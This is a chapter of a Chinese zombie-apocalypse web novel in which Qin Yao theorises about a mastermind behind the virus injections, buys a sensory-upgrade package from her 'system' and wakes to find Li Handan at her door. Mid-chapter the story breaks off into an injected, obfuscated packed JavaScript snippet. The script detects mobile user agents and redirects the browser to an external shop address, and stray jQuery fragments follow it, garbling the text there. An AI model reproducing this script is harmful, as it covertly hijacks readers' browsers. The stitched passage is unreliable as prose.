“接下来我们应该做什么？”法奈尔问道。


    诸葛雉看了眼时间刚想开口，秦杳直接举手提议：“我们现在什么都不用做。”


    “什么都不做？”法奈尔歪歪脑袋神情诧异，“我以为我们现在需要争分夺秒。”


    秦杳点头作出解释：“赵栋梁还在医务室抢救，按照医疗舱注入麻醉的剂量，一般不到二十四小时无法恢复意识。”


    诸葛雉抬起眼皮发出一声冷笑：“我倒觉得这是一个杀死他的好时机。”


    她掂量两下手中匕首，朝秦杳扬扬下巴：“趁他在睡梦中杀死他，我们在最短的时间里控制战舰——”


    秦杳将手放在她肩膀上轻拍两下，露出些许无奈表情：“我知道你很生气，但你别忘记赵栋梁身旁总是跟着仿生人保镖的，暗杀是无法成立的。”


    诸葛雉张张嘴，有些疲惫地抬手按在太阳穴上揉搓两下，苦笑道：“我真是.........”


    法奈尔站在诸葛雉另一侧，安慰道：“你现在所产生的愤怒情绪，是人类在亲近之人离去之时必须经历的四个阶段。”


    “否认，愤怒，讨价还价，接受。”诸葛雉发出一声轻笑，“我知道，我都知道，但我就是无法控制。”


    秦杳看着她，直白道：“所以我才认为我们需要休息。”


    她没有单指诸葛雉，而是带上了这里所有人。


    她继续道：“现在会造成最大伤亡的丧尸针剂已经在我们手里，齐俊飞手里还有库存的概率基本为零，但我们都清楚这不会是雁回计划的终结，之后还有一场硬仗要打，只有得到充分休息的大脑，才能效率最大化，不是吗？”


    她双手合十放在面前，朝着两人使劲眨巴两下眼睛。


    法奈尔很快接道：“我同意秦小姐的观点。”


    秦杳见法奈尔松口，转而专心‘攻击’诸葛雉：“诸葛雉，你别忘记我们伪人也是需要充电的。”


    诸葛雉垂下眼皮发出一声轻笑：“你才是伪人呢。”


    秦杳摊摊双手满脸无辜：“咱俩像伪人可是你说的。”


    诸葛雉伸手轻推一把她的肩膀，笑道：“好，我们都该回去充充电，但还是认为赵栋梁昏迷期间是最为合适的行动时间，所以我们能够休息的时间并不多，为保证尽快进入深度睡眠状态，我建议你们使用睡眠针剂，明早八点，不，六点在广播室集合。”


    她行动一如既往干脆利落。


    秦杳张张嘴，把‘你要不要去我房间睡的’的话咽了回去。


    法奈尔松开咬紧下唇的牙齿，担忧道：“秦小姐，诸葛雉没事吗？”


    秦杳如实道：“我觉得无论如何，她现在都算不上没事。”


    “你觉得我们应该追上她，不要放任她独处吗？”


    “不..........我觉得我们应该相信，她可以处理好自己的情绪。”


    *


    秦杳告别打算留在广播室的法奈尔，以极慢的速度回到属于自己的‘安全屋’。


    淋浴头喷出热水，将她从上到下淹没，糟糕的情绪也好像随波而去。


    她用特制毛巾快速擦干湿漉漉的头发，打开衣柜又毫不犹豫绕开轻便睡衣，依旧选择一模一样的黑色工装，也不管睡觉是否会搁得难受，在此刻便将各种各样的武器，全部平移到口袋之中。


    再之后，她向后倒去，任由身子被柔软被褥包裹，她保持四仰八叉姿势，调整位置也不愿意抬起屁股，而像是制作雪天使一样，上下挥动手臂。


    她好不容易才让后脑勺抵着枕头，可即便已经疲惫得不像话，入睡也并不像她想象中容易。


    热水未成功冲刷掉的疑问，在此刻又接二连三冒了出来。


    过去的十年究竟发生了什么？她到底经历了什么样的人生。


    谁把她送上诺亚方舟，又是为什么？难不成她其实是什么电影的主角，拥有使命的超绝救世主吗。


    李菡萏到底为什么会在这儿？是被迫，还是自愿。


    系统的真面目到底是恶魔，还真是想要为人类创造新世界的‘神明’。


    秦杳一直相信，这世上的所有巧合，也是由名为命运的丝网牵引而出，她和李菡萏在这里重逢一定有她还没搞懂的理由。


    她到底忽略了什么重要线索。


    齐俊飞手里会不会还有丧尸针剂。


    不，刚才就说过概率不大，丧尸病毒和别的武器不同，造成的毁灭性并不是靠无脑堆叠数量。


    只要有一个，数量必然呈指数式上升。


    六支与一百支的差别并不大。


    齐俊飞可能是个傻子，但能够拿出六支病毒针剂，还能帮他带上战舰的人，绝对不是傻蛋，除非带上针剂对他来说就像多带两袋面粉一样，否则压根不需要冒如此大的风险。


    是，她已经肯定齐俊飞背后绝对还有更高级别的人。


    指不定地球上爆发的丧尸危机，都与那个人有关。


    但是为什么呢？


    她可以理解齐俊飞为什么要这么做，孙翠翠生前所遭遇的一切本就不公，她甚至至今都没能享受迟来的正义。


    一切都让他对这个丧失公平的世界感到绝望，既然丧失公平，那么就公平地让人都变成丧尸，秦杳看来有点泄愤嫌疑，但在齐俊飞的主观逻辑之中，这就是正义。


    首当其冲就是罪魁祸首岑宇。


    如果她是幕后黑手，应该也会忽悠齐俊飞为自己干活，毕竟当他处在‘愤怒’阶段之时，是最好操控的。


    可如果幕后黑手的最终目的是让大家都死光光，那一千人的战舰，她压根不会将六个鸡蛋都放在名为齐俊飞的篮子里。


    甚至她可以将其中一管针剂拿给岑宇，告诉他，


    “你看赵栋梁不爽对吧？只要给赵栋梁来一针，我保证战舰的最高指挥权，很快就会落入你的手里。”


    她再将另一管针剂交给齐俊飞，


    “偷偷告诉你，你最讨厌的岑宇想要占领诺亚方舟，你可以用这管针剂先发制人，可以报仇，也能拯救人类。”


    他甚至都不会再有心理负担，又能报仇，又能拯救，两全其美不是吗？


    她甚至还可以给李菡萏一支，


    “我知道你很痛苦，你的朋友抛弃了你，你感到世界想要杀死你，它可以帮你解决一切烦恼。”


    只要一管针剂被注入人类体内，无论第一个丧尸被如何处理，剩下的持有者一旦知晓自己不是‘唯一’..........


    无论是六人内斗，还是上报给赵栋梁，又或者是抓紧时间报自己的仇。


    最后事态一定会失控。


    她的目的如果是为了让所有人死光光，那很显然，她的胜利——


    停停停。


    秦杳你清醒一点，到底什么人会希望一千多个人死光光啊，或许战舰上的确有不该活的人，但像是肖琴之类只想活下去的，非常无辜啊！


    ‘杀戮’绝对不能被称为‘拯救’，她可以毒杀赵栋梁，或是联邦政府高官，但拉一千多个不知情的人陪葬，那就是神经病行为。


    她又翻了个身，随着脑内思绪愈发混乱，入睡的意愿正在逐秒降低。


    头顶是铜墙铁壁，左边也是，右边........好吧，带着门的铜墙铁壁。


    好烦，睡不着！


    去找诸葛雉探讨计划？


    算了吧，她最好的朋友死在今日，再想装坚强也需要一点私人空间。


    去找法奈尔继续看人生记录？


    不行，别说法奈尔有没有心情陪她，她也没法静下心来分析人生记录。


    她们仨都要静静，但有个家伙绝对不用。


    “系统系统系统，你在吗你在吗你在吗？”


    她话音刚落，数千樱花花瓣便在顷刻间喷涌而出，‘落在’她的脸上，让她莫名觉得刚洗好的头皮有些发痒。


    难不成她是要长脑子了吗？


    好耶——个鬼。


    系统的撒花特效这次进行了升级，落下的花瓣慢慢悠悠组成粉色花体字幕，像是一团又一团的樱饼一样，光看就觉得万分甜腻，


    “秦小姐~我一直都在你身边看着你哦。”


    拼凑出来的字可就给人截然不同的感觉，算是花光光，心慌慌吗？


    秦杳脑子里的系统，成功长出某个面具人血肉。


    噫，更讨厌了。


    但烦人的系统也不是一无是处，它成功让秦杳停止胡思乱想。


    她缓慢将张开的双臂收回到贴合身体的位置，问道：“我现在应该有两千积分了吧？”


    “没错秦小姐，在你的不懈努力之下，现在您拥有的积分正正好是两千！现在的您已经足够全款拿下重现光明大礼包，真是可喜可贺。”


    秦杳看着再次想散开的字母，连忙阻拦道：“停，不要撒花。”


    系统委屈巴巴哦了一声。


    她眼珠子在眼眶里转了一圈，问道：“系统，我成功使用礼包之后，身体会陷入什么状态？”


    “秦小姐会陷入深度睡眠，所以建议秦小姐确保自己待在安全范围内，再购买并使用礼包。”


    秦杳舔舔嘴唇，表情无辜：“啊，你的意思是我现在不安全吗？”


    系统声音略显无奈：“秦小姐，你不要总是套我的话啦，如果我什么问题都回答您，只会阻碍您的成长。”


    啧，是不是她刚才坑剑做得有点过头，导致系统都变


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133580|193987||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谨慎了。


    系统继续道：“总之，秦小姐请放弃从我这儿套话的想法，我能告诉您的，只有与我本身相关的一些规则。”


    秦杳瘪瘪嘴，短暂放弃坑骗想法，继续问道：“当我陷入深度睡眠状态，什么情况下会醒。”


    “当您听见足以将破坏您睡眠的噪声，或是身体察觉到无法忍受的痛感，系统升级状态便会强行终止，直到您再次选择使用礼包。”系统停顿片刻，继续道，“我相信您清楚，在末日中这种情况下的苏醒，大部分时候不如一直什么都不知道来得好，您说呢？”


    秦杳清楚系统不是在恐吓她。


    破坏睡眠的噪音和痛感，往往是伴随着毁灭危机而来的。


    她可能面对的情况只有两种，被丧尸包围，或是已经落入丧尸口中。


    一睡到底反而是造物主的慈悲。


    秦杳继续问道：“需要多久才能完成身体升级？”


    “两个小时。”系统又补充一句，“如果您选择在夜晚使用，您可以要求我升级结束后，不直接终止睡眠状态，而是转为浅睡眠状态。”


    “好，升级完成后帮我转为浅睡眠状态。”


    秦杳很快作出决定。


    她并没有立刻购买礼包，而是起身将桌子抵在门上，椅子放在桌面上摆成三十度左右的倾斜状态，再将装着三分之二水的水桶，靠在本就歪歪扭扭的凳子上。


    “大功告成。”秦杳拍拍手满意地看着成果。


    假设真有丧尸敲门，在门被摧毁之前，椅子和水桶便会先行落地，这样她就可以给自己争取到足够的时间做出反应。


    秦杳重新躺下之前，没忘记把剑枪随身携带，以便面对最糟糕的结果。


    “很聪明的做法。”系统从不吝啬夸奖。


    “谢谢。”秦杳也不客气接受。


    如果她的糟糕预感成真，打丧尸不过是早晚的差别，但今晚绝对是最适合进行‘进化’的时机。


    她绝对不要戴着眼镜打丧尸，这会让她本就稀烂的格斗技巧更加........难以言喻。


    “兑换‘重现光明’礼包。”


    “兑换成功，基于秦小姐是初次使用商城购物，所以自动帮您升级为更高级版本礼包‘现代年轻人的福音’，售价为一千积分~”


    秦杳眼前自动出现商品说明。


    简介：您选择相信光可是天大的好事啊！所以来自M78星云的使者决定给予您更大的奖励，您获得猎隼视野的同时——还您拥有熊的嗅觉，蝙蝠的听觉。


    当然是夸张的描述，毕竟您没法发出超声波又听见回声呢>.o


    什么乱七八糟的描述，写程序的人是日式冷吐槽看多了。


    秦杳面无表情道：“你多扣我积分之前也不问问我是不是愿意吗？”


    一百二十二积分，能在系统商城里换不少子弹呢！


    “唔，如果您想要降级也不是不可以啦，您要降级吗？”系统真诚的声音中透露出一丝欠打。


    秦杳怒道：“当然不要降级！”


    只有视力就要八八八，现在一千又能提升嗅觉，听觉，赚麻了好吗。


    死系统，刚才肯定是故意不问的。


    她还没来及得朝系统竖起中指，意识就像是突然被拔掉电源的机器人，眼前彻底漆黑一片。


    她什么都看不见，听不到，闻不到。


    当然，她也不知道自己什么都不知道。


    她甚至没有做梦，再次醒来之时，就好像是今早苏醒一般，以为时间只过去一瞬，而世界又一次天翻地覆。


    她听见房门被人解锁。


    哗啦一声。


    水桶被推倒在地，随后是椅子落地的声音，桌子与地面发出嘎吱摩擦声。


    丧尸？


    秦杳快速拿起枪对准门口方向，视线直勾勾与来人对上视线。


    外头的人大抵脑子里是没有系统的。


    她的视线无法穿透黑夜，而是将手伸进——


    咔嗒一声，光线刺得她快速闭上眼睛。


    她发出和大学时候一样的喊叫：“你开灯之前好歹说一声啊！！！”


    红裙子的女人怒骂道，


    “你也真是长能耐了，我不过在你睡着开个灯，你现在居然还要拿枪指着我？！”


    是李菡萏。


    她似是认定她不会开枪，用力推开阻挡开门的桌椅，顶着枪口大步来到床边，唯一的嫌弃眼神是对着地面水渍的。


    她弯腰拿起放在床头柜的递给她，


    “你先戴上眼镜。”


    秦杳推开眼镜：“我看得很清楚。”


    她闻得也很清楚，李菡萏的衣服上似乎沾着属于丧尸的臭味。